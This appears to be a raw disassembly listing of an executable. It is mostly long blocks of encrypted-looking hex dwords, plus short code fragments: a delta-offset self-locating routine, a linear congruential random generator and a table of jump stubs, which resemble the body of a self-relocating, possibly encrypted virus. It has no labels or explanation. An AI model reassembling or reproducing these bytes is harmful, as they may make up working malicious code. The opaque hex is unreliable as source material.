0C3574700h, 805B1938h, 0DE96066h, 0ED000000h dd 71BE5085h, 3B0E3623h, 0BE7DF403h, 0F61E28Ah, 684h, 718D0100h dd 0FF060B1Fh, 0B2A41B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 668AF858h dd 669604BFh, 40C5C881h, 9E9h, 864F5200h, 2C3EB2F3h, 95FFF29Bh dd 60B0AC5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 9EC35646h, 2D852924h, 6A060B19h, 0DD95FF00h, 8B060B32h dd 6319EBC0h, 97B4FE04h, 0D9462A6Ch, 0DA6EBA3Ch, 77B5B91Ch dd 0CF13FA13h, 1265CBCFh, 0B13EE853h, 0F532565Dh, 0F501EEACh dd 0B1325655h, 0B13256ABh, 0E80D1AD5h, 0EBA173EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh dd 0B63581AEh, 0AC325657h, 823247ABh, 9A3247D5h, 0F93256E9h dd 0F9325677h, 0B6F27DB8h, 0A232565Dh, 0DE7C1FFEh, 85BB532Bh dd 27830E8Fh, 93DF52C2h, 0DFDB2659h, 2D97CA7Ah, 0B1325B53h dd 0B674775Dh, 12E00B9Ah, 4E2C0FF7h, 79B24367h, 0B134BF6Dh dd 46C456EAh, 22B09B11h, 32A13727h, 0D0E2DDC0h, 0E36267A1h dd 803D0407h, 803D0EF1h, 0E96837B5h, 0B1B90EB0h, 0E3620425h dd 0B1325953h, 507ABD5Dh, 0ACC691A8h, 0A85235C5h, 64BEE975h dd 0B7DB67DAh, 73256EAh, 0F3BF72C2h, 0BE6A0CE9h, 0B126BF6Ch dd 0F48E56AEh, 709A9DCDh, 4C66F1CDh, 48F21527h, 4DEC9D4h dd 0E968ED3Fh, 0B5161233h, 6E90E93Dh, 0E3D4C56h, 236A37AFh dd 0DA880EC8h, 0F6B4371Dh, 5220CB9Eh, 8E6CCF95h, 45B203B6h dd 0B134BFA5h, 860456AEh, 62F05BF3h, 0D06A0C36h, 27830E45h dd 93DF52FDh, 0DFDB26C6h, 0EB97CAB5h, 9576DF05h, 0B134BFAAh dd 0B6745657h, 12E00B9Fh, 0E921548Dh, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B1DA36EAh, 0EB325675h, 0F875BC3Bh, 34BF504Ch dd 0B7222806h, 0F7AFD4DEh, 33BF50BAh, 0B7238454h, 0F793D463h dd 0FFDA5064h, 593256B3h, 0B1325626h, 0F7BFD469h, 0B1325046h dd 776056ABh, 0BA1A1350h, 0E35A00ECh, 4EAEFECDh, 0BA21030Fh dd 0A9B7DB5Bh, 4E3458D3h, 0C0B7DF87h, 0DB345DA0h, 0A1323ED1h dd 0F15A56EAh, 0DB325578h, 0EBE2A9BAh, 82469656h, 0F7BFD427h dd 33BB5046h, 0B723103Ah, 0B23F166Ch, 82CADDEAh, 0E398A5B5h dd 0B15A52D0h, 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B7395DDAh dd 50B0DF8Fh, 0D03447ACh, 0F7BFD3FEh, 0D1F150ABh, 83BBD49Ah dd 0B13250A5h, 33F55617h, 0B7395992h, 0B13246D5h, 3A52958Bh dd 0A074DBCFh, 0B10DD5BCh, 0CEB17529h, 0BA4654BEh, 0B52229D4h dd 76B158DFh, 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh dd 5A32565Dh, 0E4F13747h, 5952BADCh, 0B13256ABh, 8DD8D78Fh dd 3A3447A0h, 0A074B3C7h, 0B977DDBCh, 33B150D4h, 0B723104Bh dd 73FB3753h, 595256AFh, 0B13256D5h, 0D1D8D7B0h, 3A34473Fh dd 0A074B708h, 54806D5Bh, 0C53447E8h, 3A0CDD6Ch, 0FE845974h dd 0B075A0D4h, 0B236236Ah, 9A30BDACh, 3A711563h, 0BA1617D8h dd 0B8BFDDA8h, 8A345D43h, 8A3B2473h, 3237210Ch, 78D9522Ch dd 0B946994Eh, 0A53BEB33h, 6D95056h, 595295CFh, 0B1325657h dd 9D8D7F1h, 3A34479Fh, 0A074B750h, 0B032EF73h, 710156BAh dd 33B9FDAEh, 0B723104Fh, 0F7D7D4DEh, 725350BAh, 0B132BEB5h dd 306856EAh, 0A078B49Fh, 0F4B790BCh, 0E7345D75h, 0AE5F6FC6h dd 0E487A983h, 3C345DB8h, 0BF4F4E50h, 0E3E2A9ECh, 31323E25h dd 0B15856BAh, 0F7BFE4A2h, 61CD50BFh, 0B15A0C0Fh, 0DB32562Bh dd 5080A9D5h, 4E3447ACh, 0E4F137A5h, 5952BA31h, 0B132565Dh dd 81D8D7F4h, 3A34471Ch, 29DA5EDEh, 0E43256D7h, 0F7AFC415h dd 8A6F5064h, 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh dd 4DF6D547h, 59610183h, 0B13256EAh, 0D5D8D72Fh, 3A3447F1h dd 0CCB95E28h, 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh dd 0A074CB78h, 0C4090B73h, 0D72022B6h, 56B248D6h, 312CDC5Eh dd 2CDAA6B4h, 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah dd 78CE1331h, 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h dd 0B13256D5h, 0F7FFD42Dh, 0B1335064h, 0C4B956BAh, 0AFB93055h dd 0F7BFEC25h, 0EEB95046h, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh dd 323E09FCh, 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h dd 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh dd 1DB659BFh, 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h dd 29B65909h, 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah dd 41D1D657h, 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h dd 0F346EE41h, 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h dd 0A0749B57h, 0AFB930ECh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h dd 41D5D6B0h, 30C9D731h, 0D121226Bh, 2CA0A980h, 0EC3447ACh dd 0D0CE13FCh, 0B0CE2B39h, 0BB93528h, 0B7396427h, 7CB0DD07h dd 883447EDh, 0C36A66E9h, 8888DDBAh, 0E1345D7Ah, 0F7FFD431h dd 8D0B504Ch, 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h dd 0B133AEAFh, 0BB95675h, 0B7231037h, 6A3949D6h, 6F0949DAh dd 0ECB95922h, 494FD5A7h, 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h dd 7101B451h, 0B13296B4h, 0AFB930AEh, 313E2BDCh, 0BB46BD50h dd 31C2B555h, 0A7462611h, 0B6F4649Eh, 0B0759153h, 0B132565Dh dd 71B19125h, 0B1A5BF52h, 765456ABh, 3B3A59D2h, 0BED1D6F4h dd 39B29DF5h, 0F6F557E5h, 0B132565Fh, 32F5DDAEh, 0C8D95097h dd 210CD7CDh, 313D2245h, 0BF47C6D4h, 4E4CD713h, 0B346C62Ah dd 76B952B6h, 33BF0945h, 0B72310BEh, 23CD00FBh, 0B7231074h dd 0BB4696E1h, 3BF9EFEh, 0B7231053h, 3A6446B6h, 23CD0360h dd 0B72310CAh, 46FC7DF6h, 0CCB1080Ch, 0A1475712h, 0D7981FC5h dd 0D7B75902h, 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh dd 1A549FDEh, 353DEE8Ch, 73DFD13h, 5A9957FCh, 3A96A55Fh dd 0EF6B0D69h, 0B9F09F08h, 5DB903ABh, 0B132BEB5h, 306856EAh dd 0A07F949Fh, 0B977DDBCh, 0F7A7D4D4h, 785350BFh, 0E4325295h dd 75B1BA20h, 0B1DA362Dh, 0EB3256EAh, 0FCD1BCF4h, 0F4F550ABh dd 0B13256A5h, 4D7791AEh, 0B1325657h, 3A549698h, 7CB091CBh dd 0B03447ACh, 0D7325675h, 21A2AD3Bh, 4AB25628h, 0B9B65946h dd 0F1325656h, 0BEDBAD2Bh, 0B132A851h, 4AB216EAh, 45B6599Eh dd 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h, 333156ABh dd 0B73940F0h, 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh, 0DB659BEh dd 0D73256AEh, 5255ADD6h, 0B188D2A4h, 52B256D5h, 0C1C9D61Ah dd 0B187D27Ah, 3A5456BAh, 49D1D643h, 0C58AAD2Eh, 0B40CD610h dd 8FB214DFh, 310F22F8h, 89463ED4h, 7CB0A935h, 0D73447FCh dd 56B248D6h, 4AB33056h, 9546BED6h, 312CDDCDh, 3054A632h dd 0C5F2D711h, 4E673662h, 0A074CB28h, 0F4BB0B5Bh, 0CCB13752h dd 343D57ABh, 0B1325783h, 83BBEC5Eh, 3A6250E1h, 0A0749BF7h dd 810E6FBCh, 0A0B05905h, 3A3256AFh, 0BA3D6FEDh, 33B906ADh dd 0B7231018h, 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh, 0B72310CCh dd 0F7A3D42Dh, 38265046h, 0A175DF9Ch, 7CB0DD85h, 3A3447ACh dd 386A6669h, 64DB5EE5h, 7632565Dh, 0B130AEEBh, 0B6D95657h dd 0B0CA136Ch, 3A3256D5h, 0A074C750h, 20B0D573h, 0A53447FCh dd 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h, 0B7231066h, 0B13256D7h dd 49B15301h, 326D2B77h, 0C532AEC7h, 0F7845946h, 0B1B2FFAFh dd 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh, 0BAD9539Dh dd 7CA8DDE9h, 3A34471Bh, 186965AAh, 31325657h, 773142DEh dd 0B2379656h, 0A0749B68h, 0F6BB1E73h, 0BD75DFB2h, 69C500B6h dd 69C59085h, 0B23796D4h, 0A0749B29h, 0F6BB1ED3h, 0BD75DFE2h dd 7101689Eh, 19331030h, 0B21323DDh, 0B3F2D568h, 0B13257ECh dd 0C5E95DABh, 1EA8DCDCh, 31344664h, 72315796h, 383A1133h dd 0A5D95A1Ah, 4E178E59h, 9A325657h, 32EAA16Dh, 0F6BB5415h dd 0BD75DFE2h, 72FB378Dh, 32DEDDEFh, 5952AA99h, 0B13256AEh dd 45D8D70Dh, 3A3447E4h, 0A074DB6Fh, 32FB65ECh, 353D564Ah dd 0B1325678h, 0C4CD51D6h, 0B947A9A2h, 0B041BE07h, 0B44156ABh dd 5A269156h, 4D77DF08h, 4E3E238Ah, 86CD5ECFh, 0B1330AB5h dd 26B059AEh, 3A325657h, 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh dd 0B54DD589h, 323A22BAh, 0C5325A22h, 93CBDACh, 4ECDA9A8h dd 0B1325312h, 5A99A5D5h, 0A14DD529h, 323D2270h, 0C43446C5h dd 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh dd 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh, 0A1677D59h, 3A2603ADh dd 6B195A08h, 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh dd 3B315351h, 0B7394540h, 0B222292Dh, 9A735722h, 0B06EDF72h dd 4ECDEED4h, 0B48BA915h, 42325675h, 4E64BF11h, 7853A9A2h dd 0E432466Ch, 75B1BADCh, 0B1DA3657h, 0EB3256D5h, 0E1EDBC6Bh dd 0BB95064h, 0B7231037h, 8EB19F6Eh, 20B659AEh, 3A325657h dd 0BD47A9ACh, 0E13A232Ah, 0B132DE02h, 32372575h, 53D9427Dh dd 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h dd 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h dd 4E8A58BCh, 8CDA954h, 0B13256D0h, 7AD9FD19h, 0B42229F6h dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h, 0A14DD558h dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah, 0B13256EFh dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B723071Eh, 6A019FE6h dd 3ACE0B63h, 0A074DBCFh, 0B10DD5BCh, 8EB13229h, 32372351h dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h, 72FBAA12h dd 596107FBh, 0B13256D5h, 0F1D8D7B0h, 3C344727h, 0A074F320h dd 0B156EE5Bh, 63DA56AEh, 3A325657h, 5AF36DA0h, 0B57955C1h dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh, 0CEA8DBBCh dd 4E3447FEh, 3C3ABD78h, 0A09EF34Fh, 0EAE1A9ECh, 0E4F10E2Ch dd 0B1DABA31h, 0EB32565Dh, 0E3BDBC2Fh, 3C525046h, 0A074F311h dd 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B7397E90h, 0C2283EADh dd 4CDFE62h, 0B73945EFh, 0CC2AD3D0h, 61CD50A0h, 60B8DB05h dd 0E03447EDh, 3C68862Ah, 0A0748768h, 0F1855973h, 0E3EADDB6h dd 0B2686752h, 0E0B0DF6Dh, 0D0345D73h, 0E85251C3h, 0 ; --------------------------------------------------------------------------- pop edx sub edx, 6115300h push edx mov eax, [edx+60B2451h] mov ecx, 41C64E6Dh mul ecx pop edx add eax, 3039h and eax, 7FFFFFFFh mov [edx+60B2451h], eax pop edx pop ecx retn ; --------------------------------------------------------------------------- db 51h, 52h, 0E8h dd 0 dd 30EA815Ah, 8B061153h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 11494185h, 66D0FF06h, 858DC18Bh dd 61152F9h, 2B18589h, 858D060Bh, 6115329h, 17DD8589h dd 0B8060Bh, 0B000000h, 47840FC0h, 0C6000000h, 0B284585h dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh dd 8D8D50D0h, 60B0545h, 68046A51h, 1000h, 159DB5FFh, 0D0FF060Bh dd 159DBD8Bh, 7F03060Bh, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 60B0EB9h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 8EBh, 42120000h, 9DE956DDh, 68000004h, 61154CFh dd 0FA2B42E9h, 553D68FFh, 38E90611h, 68FFFA2Bh, 61156AFh dd 0FA2B2EE9h, 0F4C3D7FFh, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h dd 407F8562h, 0DE3D2493h, 8F78FBDAh, 7FA84B76h, 28C51E29h dd 8871E2DFh, 49B8CC60h, 400FC585h, 0FBDADED8h, 605DA617h dd 30CA71F3h, 0D5719C35h, 2E4E4EF8h, 48B5C715h, 67BC0D30h dd 7492F65Ah, 9F1A11E0h, 10E4DEBDh, 6133B0D0h, 0EBE6313Ah dd 566BB667h, 0D1A594E7h, 502ABBF1h, 12E6E7BDh, 2C361EFBh dd 2E6D6h, 2D463E00h, 0AD06B31h, 9F05A7E2h, 0B989A8BDh dd 8374DCDh, 4D3C1ECFh, 29F07669h, 393F0487h, 9A12D863h dd 4111EFEBh, 72AA1E64h, 0A3CB112Ah, 4B1CD62Eh, 64915BBFh dd 0D03D2613h, 3D0C1FC7h, 0D6117549h, 8FDA5871h, 27C5BA88h dd 11000003h, 0F815CE05h, 0A6479CADh, 10FD665Bh, 0FF28CB0Ah dd 0FA599AA5h, 3D0018F3h, 8DB0C926h, 506FB956h, 24116283h dd 961ED23Fh, 0C58549F2h, 6F1E8675h, 40E4760Dh, 0BD84EBDEh dd 12836951h, 0C32C370Eh, 283286B9h, 0EEEA219Eh, 0E8D499A2h dd 7A496C18h, 0F60AE33Ah, 23077BCFh, 1B2E7105h, 84913C85h dd 8BB3BE49h, 14FE8664h, 2B9B3h, 0B897E300h, 0E3B4ABBh dd 0D0E938D5h, 0A59CE203h, 744B51BEh, 0EA0168EFh, 5BB4AF96h dd 0BE47F42h, 0F411C2FDh, 0BC4D96A3h, 484C38ACh, 74C3C585h dd 0AD0D6F8Ch, 6BA11C0Bh, 4C9EF299h, 848076D8h, 0DF1C9BDh dd 7B05A525h, 0E6D3243Ah, 625DAB12h, 0E7E6209Eh, 0A32276ABh dd 2F24C069h, 1C9E92Ch, 0BD770000h, 0C03CCC1Eh, 9CC0FF04h dd 0E42538F0h, 77D67054h, 99A31722h, 94E3E70Fh, 1E64C394h dd 0E6081DF0h, 48392F93h, 57B04F56h, 0FF456D42h, 0CBAB48ACh dd 0BCC85CB1h, 33C3947Bh, 0DA01EBCFh, 0C9944F48h, 3E4930F3h dd 0E30BE503h, 0BD9F2C1Eh, 0CF67EB2Fh, 3A6132BFh, 45BF4E6Ah dd 2C353BA4h, 3A24259Ah, 0B5AF2668h, 47C69Bh, 6F2E0000h dd 5AE4760Dh, 0B47810E5h, 61E1527Ah, 0C394A765h, 0D1A590E4h dd 1F3802FDh, 0F472065Ah, 73FD2B55h, 9FEA5AFBh, 0B82CBEBDh dd 3A61DBCCh, 72D17F43h, 0DCAC8408h, 93A61DBh, 47E61AABh dd 622C36B7h, 9Fh, 0F8D5DE8Ah, 605FA514h, 0CCF30BFAh, 66EA0478h dd 0E35762B7h, 7DCE93Ah, 9418319Fh, 5BFB0CC3h, 0A590E448h dd 4942FD41h, 1DE3430Ch, 71E2C63Ah, 1ECC5725h, 669F7196h dd 82209F42h, 2B2D5A97h, 0A645C26Ch, 0DE8FAC0Dh, 0C3290DEDh dd 6CF7CED2h, 89467983h, 8661A7DAh, 47AE61E1h, 71000001h dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h, 0B63E32DFh dd 0C5854BD2h, 0DE7EE655h, 8F78FBDAh, 18944F7Ah, 24A897EDh dd 0DED046E0h, 0E072F8D5h, 941D384Ch, 0A2908FC3h, 0C1B31A91h dd 2077C63Ah, 0AA13F711h, 75F76C59h, 0DDE43AEBh, 0A9DD1569h dd 3EC39491h, 91CEBA32h, 7941C394h, 5663B405h, 3C80AEE2h dd 9D11DB60h, 0BD9E6D3Ah, 0F825370Bh, 0CCFD08A0h, 0AB1F2A7Dh dd 7EE07357h, 3A61230Eh, 1FFB01ECh, 0B49CAC48h, 6BDF3312h dd 8B2AE817h, 97477092h, 0B6839479h, 53840ADh, 90DEB1h dd 0BD660000h, 8C9F4750h, 91F5C9BDh, 7F3FE92Dh, 50D4061Dh dd 0BD84EB12h, 0A9A4F05Dh, 0F18C1B5h, 0B3C42132h, 61323286h dd 5D8DB69Eh, 3F161E8Fh, 92169711h, 0ABAECF2Dh, 0F1D06F52h dd 17F610F6h, 0A02C3702h, 0EA152075h, 3E4DA93Fh, 927B9511h dd 5E2A4281h, 916AB609h, 369C4D20h, 0F8C2BD6Ah, 0FA8EFA72h dd 39016AB6h, 728871C5h, 4642FF43h, 8E555E47h, 0B6FA6266h dd 0B99DE56Ah, 7BB12EBAh, 0BEB399Ch, 0FC090422h, 39A7DC1h dd 22000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 68CF7BCFh, 794Ah, 89242C89h, 4C581E5h, 83000000h, 2C8704EDh dd 0DF685C24h, 89000065h, 0B968240Ch, 89000064h, 3A68241Ch dd 89000013h, 9BA2414h, 89061154h, 8B545AD1h, 0C483241Ch dd 0DBF6804h, 4890000h, 89C88924h, 0FF580843h, 835B2434h dd 34FF04C4h, 0C4835924h, 26BDE904h, 0D172FFFAh, 0AAC36345h dd 1A7776A2h, 0FD693555h, 11581BB8h, 0FFC50306h, 69DB43E0h dd 90654771h, 9CFC5235h, 2BF5011h, 3A8CA51Eh, 1CDAD239h dd 40CBA425h, 0F2E84D35h, 457C7C7Ah, 0B51C3147h, 8705297Fh dd 7FADB950h, 64BC782Eh, 31A20338h, 0E0C1A33Dh, 0FCBCFE5Ah dd 0C6AAD946h, 0B860441Fh, 3A22A70Eh, 3478B617h, 0FE866h dd 0FAAB0000h, 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 81F55912h dd 5C84C1h, 0D840F00h, 60000000h, 0E4818FBFh, 69E78132h dd 617887F0h, 8A0FFF2Bh, 2, 1C8BD78Bh, 815A5139h, 9EA6F0F3h dd 10E96Ah, 21D40000h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh dd 0F3817111h, 1FD7DFD6h, 5E8h, 0E35F8B00h, 5AFC4CD3h dd 0F308C381h, 8A0F0C32h, 6, 830Fh, 0E8530000h, 0Ch, 3B2BEF9Bh dd 0BEE73D4Eh, 43840C5Eh, 18C0Fh, 5AF50000h, 6639048Fh dd 0EF81C68Bh, 4E62B5Fh, 81C7B70Fh, 0E62B5BC7h, 42B86604h dd 34FF81DFh, 0FFFFFA4h, 0FFFF7D85h, 0EE8166FFh, 8EBA3E6h dd 1A6BC2CDh, 0 ; --------------------------------------------------------------------------- jmp loc_5A24BF ; --------------------------------------------------------------------------- push 6115B51h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6115C20h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6115DDEh jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6115EB5h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 6115FE2h jmp loc_5503D9 ; --------------------------------------------------------------------------- push 611617Fh jmp loc_5503D9 ; --------------------------------------------------------------------------- push 611627Dh jmp loc_5503D9 ; --------------------------------------------------------------------------- db 43h dd 0CE7502Eh, 0C722EDE9h, 86612EA8h, 589B6462h, 0F4D9A620h dd 0B70F6F3Bh, 0F2CC2DC8h, 0E88E205h, 4E48A641h, 0DB0C6881h dd 7BAEB656h, 51C92C7Dh, 0D17B5396h, 0E51BDE69h, 45EE6A8Eh dd 759D5CB8h, 2B8763DFh, 4640BE01h, 0C52DB1F9h, 582C78EBh dd 21194F8Ah, 0B17EE9C7h, 0C66F9256h, 8D7DD010h, 0EEA32DBh dd 53E44F01h, 7D6F9254h, 579014E7h, 0AC8CBE18h, 0F3A308A3h dd 5093BC0Dh, 42A4BF17h, 0CD7AA644h, 2758h, 637B7D00h dd 42A6A19Fh, 0CD7AA644h, 73E464CFh, 11E94F8Ah, 33E770FBh dd 4B816F92h, 17C22980h, 0E365BC0Eh, 72000000h, 7E5836B4h dd 5D4AD700h, 405D759Dh, 447C8F81h, 4811C775h, 2C717D9h dd 5BF502FEh, 2504EF65h, 725A1DAh, 5D8C15DBh, 136B0E39h dd 619A5DBBh, 7CEEE802h, 7517209Ch, 18328CE2h, 4945A1A2h dd 0C9C53BBEh, 0FC6CEB7Eh, 2C42759Dh, 78D4B235h, 0B816548Fh dd 6B63855Eh, 7E6030DCh, 0F5895AB4h, 3C4F8B10h, 0D08815DEh dd 53AF6F92h, 2600F8A4h, 4B8C7920h, 5955B33h, 9887B0DDh dd 88E64C92h, 8755A4AAh, 0D25A336Ah, 44DF5225h, 0C7004985h dd 601C2BA3h, 45A5BE98h, 37BFE49h, 3FAB498Bh, 0AA0E45Ah dd 82ACBh, 0E88E500h, 4B43A641h, 840279FCh, 0C2BC383Bh dd 1C7AF275h, 81955AB3h, 47A26D69h, 4DFA826h, 0D81BE4E2h dd 965B24A2h, 0B7B07DE6h, 0CAC77BAEh, 5A34B493h, 9AF40AEDh dd 637B362Dh, 0A90581F8h, 1F12F94Fh, 9548E0A1h, 4D968E53h dd 0C87709CEh, 7EDF1FC8h, 6ED24F8Ah, 0DBB33730h, 923EC931h dd 923F90D9h, 0D7223A6Fh, 0E0D1982h, 0C08ABCh, 0B4AB0000h dd 29B25836h, 9C57F5D1h, 759D5955h, 0AE1FB88Eh, 0D8DAAD2Ch dd 3236B42Fh, 0A31D4300h, 9966C239h, 84A6205Eh, 2600EAFCh dd 89B5613Dh, 1BE4544Fh, 0EC0CCF17h, 84E77892h, 94F2AE0Ah dd 83A4C343h, 0A7C10249h, 9C7C202Fh, 4D49A1A2h, 8F076782h dd 5BDFB1B5h, 0C13CAEE4h, 75Bh, 907F5794h, 0CBB41255h dd 0AF5D128h, 44338BEFh, 824D49A1h, 38B0648Dh, 0F576F15Eh dd 0B1CB2E99h, 718F6AD5h, 0D741AA15h, 0AEB87F0Ch, 0E215947Bh dd 4D3034B4h, 9EC4AFCh, 70503F9Bh, 0AC3CC112h, 655B759Dh dd 9DAC2DF2h, 1AF64A75h, 18F40AEDh, 9DAC42CFh, 0B00E6875h dd 0A494A69Ah, 9A7650AFh, 36B4362Dh, 0D329B258h, 0FA31DD91h dd 0AF0B0D5Ch, 0C740FB71h, 8446FD4Bh, 40A68C7Bh, 0A8BE9CFAh dd 0FFDCAACFh, 0F0BDA649h, 7759D9Fh, 5B8C0C3Bh, 4F8AB733h dd 0B708221Eh, 0C6C03A39h, 245A9D6Ah, 19DA80AAh, 136B83E2h dd 9AA501F9h, 0BC935FCFh, 7742E4C6h, 7906D10Fh, 0AAE84C52h dd 6BB836B3h, 10E8121Dh, 90EE0CE7h, 28F58B6h, 11E84B73h dd 0C84C2729h, 18BA611Fh, 87E500EFh, 60F3D10Fh, 0E84B749Bh dd 0FF6D6981h, 0CF01F903h, 0A23A1319h, 9A36C1FEh, 4B9489D1h dd 408B81E8h, 4F3CB21h, 19338BE1h, 4B940256h, 8B7EF6E8h dd 0B90680FEh, 6660985Bh, 8EB14C4h, 227694F2h, 0CF1876BCh dd 0C238B033h, 7BFCDA26h, 897887FFh, 9BF53DA1h, 2D64D848h dd 0D775C5BCh, 3565CC1Ch, 9D6CE4DCh, 6AE1DF44h, 0B011D74Fh dd 734BA240h, 6CEF61D9h, 2D1A250Fh, 305h, 9386D4CAh, 6E68804Bh dd 0BF8354B2h, 0DA4F8A74h, 0CD5E8966h, 54C48382h, 0F84EA892h dd 4F2E37A1h, 9BF90685h, 7945FBDh, 2CEE83ACh, 9C50232Ch dd 99C870B8h, 0E7FF8BA1h, 1CC72503h, 0E878988Fh, 1F4A3EA4h dd 0CB753A4Bh, 77E0E06Fh, 0C26A8FBEh, 0E0635DBDh, 0A0430C8Ah dd 78F64C4Ah, 9F6B7514h, 59D10EDh, 156A0000h, 0D02BCEB9h dd 8FEE09F6h, 49AD4837h, 767824Dh, 22CFC08Fh, 2F98F676h dd 6CDBB334h, 0A8176F89h, 0E8572F4Dh, 3DC21503h, 5A7BAEBAh dd 73512057h, 9D5D1BE0h, 37C03875h, 0A9876B73h, 8A744EBEh dd 2DDF234Fh, 1C7A54AAh, 3268353Eh, 0B38F6F92h, 449AC884h dd 7FC31B75h, 4AA6D601h, 358B497Fh, 870A5D22h, 0D3047A69h dd 69870A4Eh, 5D399565h, 9DF977F2h, 3896D46Fh, 54324912h dd 0CDC92DB6h, 0C534AC5Fh, 7544DCC3h, 4F3896D4h, 1940F75Ch dd 207A8C2h, 7B4D0000h, 0B6A19F63h, 4F8C244Dh, 36FB6C52h dd 5D6F8C03h, 840266FDh, 0E0DEBA66h, 0C08F0767h, 2E6B0AC0h dd 26DD4F70h, 0A01E5E19h, 8593218Ah, 314F6F8Bh, 209B9F55h dd 7EECDE54h, 4C69Fh, 92EC0100h, 2FA7C225h, 68668560h 